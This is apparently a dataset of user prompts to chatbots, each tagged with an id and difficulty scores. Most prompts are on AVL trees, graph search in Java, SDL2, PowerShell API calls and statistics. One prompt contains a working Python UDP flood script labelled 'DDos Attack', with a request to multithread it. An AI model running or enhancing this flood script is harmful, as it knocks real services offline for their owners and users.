потерявшую актуальность улику, которое имеет вес � x. Если такой нет, операция игнорируется. � C � x - проверить наличие улики с весом � x. Выходные данные Для каждой операции вида � C � x выведите � Y, если такая улика содержится в дереве, и � N, если не содержится. Для каждой операции вида � A � x или � D � x выведите баланс корня дерева после выполнения операции. Если дерево пустое (в нем нет вершин), выведите 0 0. Вывод для каждой операции должен содержаться на отдельной строке. STDIN STDOUT 6 A 3 A 4 A 5 C 4 C 6 D 5 0 1 0 Y N -1 Примечание Операции вставки и удаления требуется реализовать точно так же, как это было сделано в предыдущих задачах, потому что в ином случае баланс корня может отличаться от требуемого. смотри меня волнует примечание поэтому вот реализации прошлых задач Задача про баланс: #include <iostream> #include <vector> struct Node { int data; int left; int right; int height; }; int CalcHeight(int index, Node arr[]) { if (index == -1) return 0; if (arr[index].height > 0) return arr[index].height; arr[index].height = 1 + std::max(CalcHeight(arr[index].left, arr), CalcHeight(arr[index].right, arr)); return arr[index].height; } int CalcBalance(int index, Node arr[]) { if (index == -1) return 0; return CalcHeight(arr[index].right, arr) - CalcHeight(arr[index].left, arr); } int main() { int n; int data; int left; int right; std::cin >> n; Node arr[n]; for (int i = 0; i < n; ++i) { std::cin >> data >> left >> right; arr[i].data = data; arr[i].left = left - 1; arr[i].right = right - 1; arr[i].height = 0; } for (int i = 0; i < n; ++i) { arr[i].height = CalcHeight(i, arr); } for (int i = 0; i < n; ++i) { std::cout << CalcBalance(i, arr) << '\n'; } } Задача про Insert: #include <iostream> struct Node { int data; int height; Node* left; Node* right; }; struct NedoNode { int data; int left; int right; }; int height(Node *N) { if (N == nullptr) return 0; return N->height; } Node* ReCalculateHeight(Node* root) { if (root == nullptr) { return nullptr; } root->left = ReCalculateHeight(root->left); root->right = ReCalculateHeight(root->right); root->height = 1 + std::max(height(root->left), height(root->right)); return root; } Node* BuildTree(NedoNode arr[], int index, int n) { if (index < 0 || index >= n) { return nullptr; } Node* node = new Node; node->data = arr[index].data; node->left = BuildTree(arr, arr[index].left, n); node->right = BuildTree(arr, arr[index].right, n); node->height = 1 + std::max(height(node->left), height(node->right)); return node; } Node* LeftRotation(Node* x) { Node *y = x->right; Node *T2 = y->left; y->left = x; x->right = T2; x->height = std::max(height(x->left), height(x->right)) + 1; y->height = std::max(height(y->left), height(y->right)) + 1; return y; } Node* RightRotation(Node* y) { Node *x = y->left; Node *T2 = x->right; x->right = y; y->left = T2; y->height = std::max(height(y->left), height(y->right)) + 1; x->height = std::max(height(x->left), height(x->right)) + 1; return x; } int Balance(Node* root) { if (root == nullptr) return 0; return height(root->left) - height(root->right); } Node* Insert(Node* root, int key) { if (root == nullptr) { Node* node = new Node; node->data = key; node->height = 1; node->left = nullptr; node->right = nullptr; return node; } if (key < root->data) { root->left = Insert(root->left, key); } else if (key > root->data) { root->right = Insert(root->right, key); } else { return root; } root->height = std::max(height(root->left), height(root->right)) + 1; int balance = Balance(root); if (balance > 1 && key < root->left->data) { return RightRotation(root); } if (balance < -1 && key > root->right->data) { return LeftRotation(root); } if (balance > 1 && key > root->left->data) { root->left = LeftRotation(root->left); return RightRotation(root); } if (balance < -1 && key < root->right->data) { root->right = RightRotation(root->right); return LeftRotation(root); } return root; } void PrintCurrentLevel(Node* root, int level, int& counter_childs, int& index, NedoNode arr[]) { if (root == nullptr) return; if (level == 1) { arr[index].data = root->data; if (root->left != nullptr) { arr[index].left = ++counter_childs; } else { arr[index].left = 0; } if (root->right != nullptr) { arr[index].right = ++counter_childs; } else { arr[index].right = 0; } ++index; } else if (level > 1) { PrintCurrentLevel(root->left, level - 1, counter_childs, index, arr); PrintCurrentLevel(root->right, level - 1, counter_childs, index, arr); } } void PrintLevelOrder(Node* root, NedoNode arr[]) { int h = height(root); int counter_childs = 1; int index = 0; for (int i = 1; i <= h; i++) { PrintCurrentLevel(root, i, counter_childs, index, arr); } } int main() { int n; int data; int left; int right; std::cin >> n; NedoNode arr[n + 1]; for (int i = 0; i < n; ++i) { std::cin >> data >> left >> right; arr[i].data = data; arr[i].left = left - 1; arr[i].right = right - 1; } int new_value; std::cin >> new_value; Node* root; root = BuildTree(arr, 0, n); //root = ReCalculateHeight(root); root = Insert(root, new_value); std::cout << n + 1 << '\n'; PrintLevelOrder(root, arr); for (int i = 0; i < n + 1; ++i) { std::cout << arr[i].data << ' '; std::cout << arr[i].left << ' '; std::cout << arr[i].right << '\n'; } } задачи про удаление небыло, можешь пожалуйста помочь что не так(небольшое уточнение когда я полностью убирал балансировку из делете все равно доходило до 4 теста тоесть ошибка гдето там)
324be6e7290fce6f9196b636a2cdff1b
{ "intermediate": 0.34838977456092834, "beginner": 0.38039833307266235, "expert": 0.2712118923664093 }
33,408
#include <iostream> struct Node { long data; long height; Node* left; Node* right; }; struct AVL { Node* top = nullptr; long height(Node* root) { if (root == nullptr) return 0; return root->height; } Node* newNode(long value) { Node* root = new Node(); root->data = value; root->left = nullptr; root->right = nullptr; root->height = 1; return(root); } Node* RightRotation(Node* y) { Node* x = y->left; Node* T2 = x->right; x->right = y; y->left = T2; y->height = std::max(height(y->left), height(y->right)) + 1; x->height = std::max(height(x->left), height(x->right)) + 1; return x; } Node* LeftRotation(Node* x) { Node* y = x->right; Node* T2 = y->left; y->left = x; x->right = T2; x->height = std::max(height(x->left), height(x->right)) + 1; y->height = std::max(height(y->left), height(y->right)) + 1; return y; } long Balance(Node* N) { if (N == nullptr) return 0; return height(N->right) - height(N->left); } Node* Insert(Node* root, int key) { if (root == nullptr) { Node* node = new Node; node->data = key; node->height = 1; node->left = nullptr; node->right = nullptr; return node; } if (key < root->data) { root->left = Insert(root->left, key); } else if (key > root->data) { root->right = Insert(root->right, key); } else { return root; } root->height = std::max(height(root->left), height(root->right)) + 1; int balance = Balance(root); if (balance < -1 && key < root->right->data) { return LeftRotation(root); } if (balance > 1 && key > root->left->data) { return RightRotation(root); } if (balance < -1 && key > root->right->data) { root->right = RightRotation(root->right); return LeftRotation(root); } if (balance > 1 && key < root->left->data) { root->left = LeftRotation(root->left); return RightRotation(root); } return root; } Node* Delete(Node* root, int key) { if (root == nullptr) return root; if ( key < root->data ) { root->left = Delete(root->left, key); }else if( key > root->data ) { root->right = Delete(root->right, key); } else { if((root->left == nullptr) || (root->right == nullptr)) { Node* temp = root->left ? root->left : root->right; if (temp == nullptr) { temp = root; root = nullptr; } else { *root = *temp; } } else { Node* temp = minValueNode(root->right); root->data = temp->data; root->right = Delete(root->right, temp->data); } } if (root == nullptr) return root; root->height = 1 + std::max(height(root->left), height(root->right)); int balance = Balance(root); if (balance < -1 && Balance(root->right) >= 0) return LeftRotation(root); if (balance < -1 && Balance(root->right) < 0) { root->right = RightRotation(root->right); return LeftRotation(root); } if (balance > 1 && Balance(root->left) <= 0) return RightRotation(root); if (balance > 1 && Balance(root->left) > 0) { root->left = LeftRotation(root->left); return RightRotation(root); } return root; } bool Exists(Node* root, long key) { if (root == nullptr) return false; if (root->data == key) return true; else if (root->data > key) return Exists(root->left, key); else return Exists(root->right, key); } Node* minValueNode(Node* node) { Node* current = node; while (current->left != nullptr) current = current->left; return current; } }; int main() { std::ios_base::sync_with_stdio(false); std::cin.tie(0); std::cout.tie(0); char cmd; AVL tree; long n; std::cin >> n; for (long i = 0; i < n; ++i) { std::cin >> cmd; if (cmd == 'A') { long x; std::cin >> x; tree.top = tree.Insert(tree.top, x); std::cout << (tree.top == nullptr? 0 : -tree.Balance(tree.top)); if (i < n - 1) { std::cout << '\n'; } } else if (cmd == 'D') { long x; std::cin >> x; tree.top = tree.Delete(tree.top, x); std::cout << (tree.top == nullptr? 0 : -tree.Balance(tree.top)); if (i < n - 1) { std::cout << '\n'; } } else if (cmd == 'C') { long x; std::cin >> x; tree.Exists(tree.top, x) ? std::cout << 'Y' : std::cout << 'N'; if (i < n - 1) { std::cout << '\n'; } } } } 6 A 3 0 A 4 -1 A 5 [1] 66082 segmentation fault ./main ошибка в insert исправь
c9615d8df604da91475b02718b8551fc
{ "intermediate": 0.3555104434490204, "beginner": 0.37425103783607483, "expert": 0.27023857831954956 }
33,409
ELI5 boltzman machines and its relations to deep learning.
8075a3e11f81f28c5e87b94ebdbe28ed
{ "intermediate": 0.06477104127407074, "beginner": 0.06838923692703247, "expert": 0.8668397665023804 }
33,410
Can logback catch uncaught errors?
17c5ef6ba1476aee69355ea5c42f4e17
{ "intermediate": 0.3957904875278473, "beginner": 0.11091940104961395, "expert": 0.49329009652137756 }
33,411
Write a java programme that include a 2 classes ( Firstclass , Secondclass) In the Firstclass let the user enter one integer number x and pass this integer to a method in the Secondclass to return the factorial of x . Rem : factorial X! if x=4 the factorial is 4*3*2*1
847befe5719b2947bb90cfbbd1b87219
{ "intermediate": 0.4439012110233307, "beginner": 0.40211722254753113, "expert": 0.153981551527977 }
33,412
func CreatePDFFile(xRefTable *model.XRefTable, outFile string, conf *model.Configuration) error how can i use this func from pdfcpu api package
63e972b328556324d08f621c17f9425e
{ "intermediate": 0.7539964318275452, "beginner": 0.1294720619916916, "expert": 0.11653147637844086 }
33,413
how do i fill an sdl_rect with a render color in c++ sdl2?
af0b5a498bbd9758ac82f2c8112cb895
{ "intermediate": 0.46823030710220337, "beginner": 0.20433518290519714, "expert": 0.3274344503879547 }
33,414
Use the given information to find the number of degrees of​ freedom, the critical values χ2L and χ2R​, and the confidence interval estimate of σ. It is reasonable to assume that a simple random sample has been selected from a population with a normal distribution. White Blood Counts of Women 90​% ​confidence; n = 149​, s = 1.99 ​(1000 ​cells/ μ​L). Question content area bottom Part 1 df = enter your response here ​(Type a whole​ number.)
02ac84770ef6728f20e77e6df45cb5d5
{ "intermediate": 0.35683733224868774, "beginner": 0.3217774033546448, "expert": 0.3213851749897003 }
33,415
import sys import os import time import socket import random #Code Time from datetime import datetime now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = random._urandom(1490) ############# os.system("figlet DDos Attack") print() print("Author : by-cteklo") print() ip = input("IP Target : ") port = int(input("Port : ")) os.system("clear") os.system("figlet Attack Starting") print("[ ] 0% ") time.sleep(5) print("[===== ] 25%") time.sleep(5) print("[========== ] 50%") time.sleep(5) print("[=============== ] 75%") time.sleep(5) print("[====================] 100%") time.sleep(3) sent = 0 while True: sock.sendto(bytes, (ip,port)) sent = sent + 1 port = port + 1 print("Sent %s packet to %s throught port:%s"%(sent,ip,port)) if port == 65534: port = 1 добавь в мой код Используйте множество потоков для отправки пакетов и эффективный алгоритм генерации пакетов
ebde1eada0bf67008e0ab0b566cd9e66
{ "intermediate": 0.37785255908966064, "beginner": 0.41662827134132385, "expert": 0.20551913976669312 }
33,416
how to get max over a Pandas DataFrame on one column and printing data from another column by using the first one
258b8077648fc282e9fe328e423d7328
{ "intermediate": 0.6286543011665344, "beginner": 0.1105094626545906, "expert": 0.26083624362945557 }
33,417
write a hard program in python.
7692480eb07bd5ab9a69ea91232a861f
{ "intermediate": 0.24980252981185913, "beginner": 0.30018019676208496, "expert": 0.4500172436237335 }
33,418
How to print 15 * in python
7997d425728f78756c35f4d85bc7e7fc
{ "intermediate": 0.24082712829113007, "beginner": 0.37528494000434875, "expert": 0.38388797640800476 }
33,419
Correct the code: print("*" * 25) print("1 - Menu option 1 \n2 - Menu option 2 \n3 - Exit") print("*" * 25) user_input = int(input("\nEnter your choice: ")) while input != 3 : print("~" * 25) if user_input >= 1 and user_input <= 2: print("\nYou pressed option-%d.\nProcessed option %d.......\nProcessing finished." %(user_input, user_input)) print() elif user_input > 3 : print("\nInvalid choice, you FOOL. Try again.") print() print("*" * 25) print("1 - Menu option 1 \n2 - Menu option 2 \n3 - Exit") print("*" * 25) user_input = int(input("\nEnter your choice: ")) print("\nYou selected option 3. \nGood Bye!")
290af5d39b3bb64938cc374de521e581
{ "intermediate": 0.2571946680545807, "beginner": 0.5444478988647461, "expert": 0.1983574628829956 }
33,420
Hello I'm studying ranked information retrieval ask me a question about TF-IDF
90fadaef43d26a863c0372cd4273a8eb
{ "intermediate": 0.25367477536201477, "beginner": 0.2503904402256012, "expert": 0.49593472480773926 }
33,421
i have a few Parameters can you give me the powershell invoke webrequest for that ?
ebb31148408b19a479a82eef70e3dc80
{ "intermediate": 0.45591026544570923, "beginner": 0.2697097659111023, "expert": 0.2743799686431885 }
33,422
Can you give me the code for the Powershell invoke webrequest for this parameter: API Server: https://newtrackon.com/api Method: GET Parameter: /{uptime} PATH PARAMETERS: uptime = 70 QUERY-STRING PARAMETERS: include_ipv4_only_trackers = true, nclude_ipv6_only_trackers = False
698beff73497eebab5d010a0b3a467e7
{ "intermediate": 0.7842943072319031, "beginner": 0.11134564876556396, "expert": 0.10436002165079117 }
33,423
Can you give me the code for the Powershell invoke webrequest for this parameter: API Server: https://newtrackon.com/api Method: GET Parameter: /{uptime} PATH PARAMETERS: uptime = 70 QUERY-STRING PARAMETERS: include_ipv4_only_trackers = true, nclude_ipv6_only_trackers = False
eb31b5d45440a80cb4bd615fa724e80f
{ "intermediate": 0.7842943072319031, "beginner": 0.11134564876556396, "expert": 0.10436002165079117 }
33,424
Can you give me the code for the Powershell invoke webrequest for this parameter: API Server: https://newtrackon.com/api Method: GET Parameter: /{uptime} PATH PARAMETERS: uptime = 70 QUERY-STRING PARAMETERS: include_ipv4_only_trackers = true, nclude_ipv6_only_trackers = False Please put the Answers in ""
5e5062d9e130fb67c85c3022811058f0
{ "intermediate": 0.7433044910430908, "beginner": 0.11958064138889313, "expert": 0.13711495697498322 }
33,425
I want to make a powershell invoke web request to an api. The Response is not fully shown. How can i change this
aaa18dc5c46fce2333ffd0ceac4cc2f9
{ "intermediate": 0.6831207275390625, "beginner": 0.11462818831205368, "expert": 0.20225100219249725 }
33,426
I need help debugging my program: package graph; import java.util.ArrayDeque; import java.util.ArrayList; import java.util.Collection; import java.util.Comparator; import java.util.Deque; import java.util.HashMap; import java.util.HashSet; import java.util.LinkedList; import java.util.Map; import java.util.PriorityQueue; import java.util.Queue; import java.util.Set; /** * <P>This class represents a general "directed graph", which could * be used for any purpose. The graph is viewed as a collection * of vertices, which are sometimes connected by weighted, directed * edges.</P> * * <P>This graph will never store duplicate vertices.</P> * * <P>The weights will always be non-negative integers.</P> * * <P>The WeightedGraph will be capable of performing three algorithms: * Depth-First-Search, Breadth-First-Search, and Djikatra's.</P> * * <P>The Weighted Graph will maintain a collection of * "GraphAlgorithmObservers", which will be notified during the * performance of the graph algorithms to update the observers * on how the algorithms are progressing.</P> */ public class WeightedGraph<V> { /* STUDENTS: You decide what data structure(s) to use to * implement this class. * * You may use any data structures you like, and any Java * collections that we learned about this semester. (You may * not use any Java classes that were not covered during * CMSC 132). Remember that you are implementing a weighted, * directed graph. */ private Map<V, Map<V, Integer>> graph; /* Collection of observers. Be sure to initialize this list * in the constructor. The method "addObserver" will be * called to populate this collection. Your graph algorithms * (DFS, BFS, and Dijkstra) will notify these observers to let * them know how the algorithms are progressing. */ private Collection<GraphAlgorithmObserver<V>> observerList; /** Initialize the data structures to "empty", including * the collection of GraphAlgorithmObservers (observerList). */ public WeightedGraph() { graph = new HashMap<>(); observerList = new ArrayList<>(); } /** Add a GraphAlgorithmObserver to the collection maintained * by this graph (observerList). * * @param observer */ public void addObserver(GraphAlgorithmObserver<V> observer) { observerList.add(observer); } /** Add a vertex to the graph. If the vertex is already in the * graph, throw an IllegalArgumentException. * * @param vertex vertex to be added to the graph * @throws IllegalArgumentException if the vertex is already in * the graph */ public void addVertex(V vertex) { if (graph.containsKey(vertex)) { throw new IllegalArgumentException("Vertex already exists in graph"); } graph.put(vertex, new HashMap<>()); } /** Searches for a given vertex. * * @param vertex the vertex we are looking for * @return true if the vertex is in the graph, false otherwise. */ public boolean containsVertex(V vertex) { return graph.containsKey(vertex); } /** * <P>Add an edge from one vertex of the graph to another, with * the weight specified.</P> * * <P>The two vertices must already be present in the graph.</P> * * <P>This method throws an IllegalArgumentExeption in three * cases:</P> * <P>1. The "from" vertex is not already in the graph.</P> * <P>2. The "to" vertex is not already in the graph.</P> * <P>3. The weight is less than 0.</P> * * @param from the vertex the edge leads from * @param to the vertex the edge leads to * @param weight the (non-negative) weight of this edge * @throws IllegalArgumentException when either vertex * is not in the graph, or the weight is negative. */ public void addEdge(V from, V to, Integer weight) { if (!(graph.containsKey(from) && graph.containsKey(to) || weight < 0)) { throw new IllegalArgumentException("Invalid parameters for new edge."); } graph.get(from).put(to, weight); } /** * <P>Returns weight of the edge connecting one vertex * to another. Returns null if the edge does not * exist.</P> * * <P>Throws an IllegalArgumentException if either * of the vertices specified are not in the graph.</P> * * @param from vertex where edge begins * @param to vertex where edge terminates * @return weight of the edge, or null if there is * no edge connecting these vertices * @throws IllegalArgumentException if either of * the vertices specified are not in the graph. */ public Integer getWeight(V from, V to) { if (!(graph.containsKey(from) && graph.containsKey(to))) { throw new IllegalArgumentException("One or more of the vertices are not in the graph!"); } return graph.get(from).get(to); } /** * <P>This method will perform a Breadth-First-Search on the graph. * The search will begin at the "start" vertex and conclude once * the "end" vertex has been reached.</P> * * <P>Before the search begins, this method will go through the * collection of Observers, calling notifyBFSHasBegun on each * one.</P> * * <P>Just after a particular vertex is visited, this method will * go through the collection of observers calling notifyVisit * on each one (passing in the vertex being visited as the * argument.)</P> * * <P>After the "end" vertex has been visited, this method will * go through the collection of observers calling * notifySearchIsOver on each one, after which the method * should terminate immediately, without processing further * vertices.</P> * * @param start vertex where search begins * @param end the algorithm terminates just after this vertex * is visited */ public void DoBFS(V start, V end) { for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifyBFSHasBegun(); } Queue<V> queue = new LinkedList<>(); Set<V> visited = new HashSet<>(); queue.add(start); visited.add(start); while (!queue.isEmpty()) { V currentVertex = queue.poll(); for (V neighbor : graph.get(currentVertex).keySet()) { if (!visited.contains(neighbor)) { for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifyVisit(neighbor); } if (neighbor.equals(end)) { for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifySearchIsOver(); } return; } queue.add(neighbor); visited.add(neighbor); } } } } /** * <P>This method will perform a Depth-First-Search on the graph. * The search will begin at the "start" vertex and conclude once * the "end" vertex has been reached.</P> * * <P>Before the search begins, this method will go through the * collection of Observers, calling notifyDFSHasBegun on each * one.</P> * * <P>Just after a particular vertex is visited, this method will * go through the collection of observers calling notifyVisit * on each one (passing in the vertex being visited as the * argument.)</P> * * <P>After the "end" vertex has been visited, this method will * go through the collection of observers calling * notifySearchIsOver on each one, after which the method * should terminate immediately, without visiting further * vertices.</P> * * @param start vertex where search begins * @param end the algorithm terminates just after this vertex * is visited */ public void DoDFS(V start, V end) { for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifyDFSHasBegun(); } Deque<V> stack = new ArrayDeque<>(); Set<V> visited = new HashSet<>(); stack.push(start); visited.add(start); while (!stack.isEmpty()) { V currentVertex = stack.pop(); for (V neighbor : graph.get(currentVertex).keySet()) { if (!visited.contains(neighbor)) { for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifyVisit(neighbor); } if (neighbor.equals(end)) { for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifySearchIsOver(); } return; } stack.push(neighbor); visited.add(neighbor); } } } for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifySearchIsOver(); } } /** * <P>Perform Dijkstra's algorithm, beginning at the "start" * vertex.</P> * * <P>The algorithm DOES NOT terminate when the "end" vertex * is reached. It will continue until EVERY vertex in the * graph has been added to the finished set.</P> * * <P>Before the algorithm begins, this method goes through * the collection of Observers, calling notifyDijkstraHasBegun * on each Observer.</P> * * <P>Each time a vertex is added to the "finished set", this * method goes through the collection of Observers, calling * notifyDijkstraVertexFinished on each one (passing the vertex * that was just added to the finished set as the first argument, * and the optimal "cost" of the path leading to that vertex as * the second argument.)</P> * * <P>After all of the vertices have been added to the finished * set, the algorithm will calculate the "least cost" path * of vertices leading from the starting vertex to the ending * vertex. Next, it will go through the collection * of observers, calling notifyDijkstraIsOver on each one, * passing in as the argument the "lowest cost" sequence of * vertices that leads from start to end (I.e. the first vertex * in the list will be the "start" vertex, and the last vertex * in the list will be the "end" vertex.)</P> * * @param start vertex where algorithm will start * @param end special vertex used as the end of the path * reported to observers via the notifyDijkstraIsOver method. */ public void DoDijsktra(V start, V end) { for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifyDijkstraHasBegun(); } Map<V, Integer> distance = new HashMap<>(); Map<V, V> previous = new HashMap<>(); PriorityQueue<V> priorityQueue = new PriorityQueue<>(Comparator.comparingInt(distance::get)); // Initialize distances and add the start vertex to the priority queue for (V vertex : graph.keySet()) { distance.put(vertex, Integer.MAX_VALUE); previous.put(vertex, null); } distance.put(start, 0); priorityQueue.add(start); while (!priorityQueue.isEmpty()) { V currentVertex = priorityQueue.poll(); // Notify observers about the finished vertex and its cost for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifyDijkstraVertexFinished(currentVertex, distance.get(currentVertex)); } if (currentVertex.equals(end)) { break; // Stop when the end vertex is reached } // Update distances for neighbors for (V neighbor : graph.get(currentVertex).keySet()) { int newDistance = distance.get(currentVertex) + graph.get(currentVertex).get(neighbor); if (newDistance < distance.get(neighbor)) { distance.put(neighbor, newDistance); previous.put(neighbor, currentVertex); priorityQueue.add(neighbor); } } } // Reconstruct the path from end to start LinkedList<V> path = new LinkedList<>(); V current = end; while (current != null) { path.addFirst(current); current = previous.get(current); } // Notify observers that Dijkstra's algorithm is over and provide the path for (GraphAlgorithmObserver<V> observer : observerList) { observer.notifyDijkstraIsOver(path); } } I am currently failing release tests for my breadth-first search and depth-first search. }
f4a8e054da22808a43838c438788e58b
{ "intermediate": 0.43570569157600403, "beginner": 0.2428276389837265, "expert": 0.3214666545391083 }
33,427
Can logback print uncaught errors thrown by Java
31769b4789450c9bf8236306d2da0880
{ "intermediate": 0.6214680075645447, "beginner": 0.11605604737997055, "expert": 0.26247596740722656 }
33,428
can you add a windows open dialog which expects a txt file in this powershell invoke-restMethod body request(new_trackers) $body = @{ "new_trackers" = ""
a749e0622aa8dba6c5f7bdaaed006720
{ "intermediate": 0.572641909122467, "beginner": 0.1529870629310608, "expert": 0.2743709683418274 }
33,429
I need to import the conttent ofa txt file in the "new_tackers" Request: $body = @{ "new_trackers" = "here" } $response = Invoke-RestMethod -Uri "https://newtrackon.com/api/add" ` -Method Post ` -ContentType "application/x-www-form-urlencoded" ` -Body $body
f09c2dc14298f6b06348878a06a4668c
{ "intermediate": 0.5614974498748779, "beginner": 0.24082039296627045, "expert": 0.19768217206001282 }